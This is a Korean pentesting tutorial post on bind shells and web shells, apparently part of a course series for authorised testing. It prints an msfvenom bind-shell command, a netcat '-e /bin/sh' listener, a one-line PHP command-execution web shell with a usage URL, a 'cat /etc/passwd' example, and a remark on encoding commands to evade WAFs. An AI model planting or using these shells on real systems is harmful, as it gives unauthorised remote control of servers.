모의해킹

호스트기반모의해킹_24_바인드 쉘과 웹 쉘

작성자 : Heehyeon Yoo|2025-12-03
# 모의해킹# Bind Shell# Web Shell# WSO# Persistence

1. 바인드 쉘

1.1 개념

바인드 쉘은 악성 코드가 타겟 시스템의 특정 포트를 열고(Listening), 공격자가 그 포트로 접속하여 제어권을 얻는 방식이다.

  • 흐름: Attacker ---(Connect) ---> Target(Listening on 7777)
  • 트래픽: 인바운드(Inbound) 트래픽 발생.

1.2 제작 및 접속

  • MSFVenom 생성:
    msfvenom -p linux/x64/shell_bind_tcp RHOST=[Target_IP] LPORT=[Bind_Port] ...
    
  • One-Liner(Netcat):
    # 타겟에서 실행(포트 9000 오픈)
    nc -lvnp 9000 -e /bin/sh
    
  • 접속(Attacker):
    nc [Target_IP] 9000
    

1.3 한계점

  • 방화벽(Firewall): 대부분의 기업 환경은 외부에서 내부로 들어오는 인바운드 정책을 엄격하게 통제한다. 허용되지 않은 포트(예: 7777)로 접속 시도가 차단될 확률이 매우 높다.
  • NAT: 타겟이 사설 IP망 내부에 있다면 외부에서 직접 접속이 불가능하다(포트포워딩 필요).
  • 따라서 실무에서는 리버스 쉘이 훨씬 선호된다.

2. 웹 쉘

2.1 개념

웹 서버의 파일 업로드 취약점 등을 이용하여 스크립트 파일(php, jsp, asp)을 업로드하고, 웹 요청을 통해 시스템 명령어를 실행하는 쉘이다.

  • 특징: 별도의 포트를 열지 않고, 기존 웹 서비스 포트(80, 443)를 이용하므로 방화벽을 우회하기 쉽다.
  • 트래픽: 정상적인 HTTP/HTTPS 트래픽 틈에 섞여 있어 탐지가 까다롭다(단, 로그 분석 시 평문 명령어 노출 가능).

2.2 종류

A. 단순 웹 쉘(One-Liner)

가장 간단한 형태. 기능이 제한적이다.

<?php system($_GET['cmd']); ?>
  • 사용: http://target.com/shell.php?cmd=ls -al
  • 주의: URL Encoding 필수. 공백( ) -> %20, & -> %26 등으로 변환해야 명령어가 제대로 전달된다.

B. 기능형 웹 쉘(예: WSO - Web Shell by Orb)

파일 관리, DB 접속, 프로세스 조회 등 GUI에 준하는 기능을 제공하는 풀 패키지 웹 쉘.

  • 보안 기능: 패스워드 인증을 적용하여 아무나 접근하지 못하게 해야 한다.

3. 실무에서는?

  1. 공개 웹 쉘의 위험성:
    • webshell.php 처럼 뻔한 이름이나 패스워드가 없는 웹 쉘을 방치하면, 제3의 해커(인터넷 스캐너)가 이를 발견하고 시스템을 장악할 수 있다.
    • 이는 모의해커의 과실로 인한 보안 사고로 간주되며, 법적 책임 소지가 있다.
    • 반드시 복잡한 파일명(예: a8f12.php)과 강력한 패스워드를 적용해야 한다.
  2. 트래픽 암호화:
    • 기본 웹 쉘은 명령어가 HTTP GET/POST 파라미터에 평문으로 노출된다(예: cmd=cat /etc/passwd).
    • WAF(웹 방화벽) 탐지를 피하기 위해 명령어를 암호화하거나 인코딩하여 전송하는 고급 웹 쉘을 사용하기도 한다.
    • 모의해킹 종료 후에는 반드시 웹 쉘 파일을 삭제(Cleanup)해야 한다.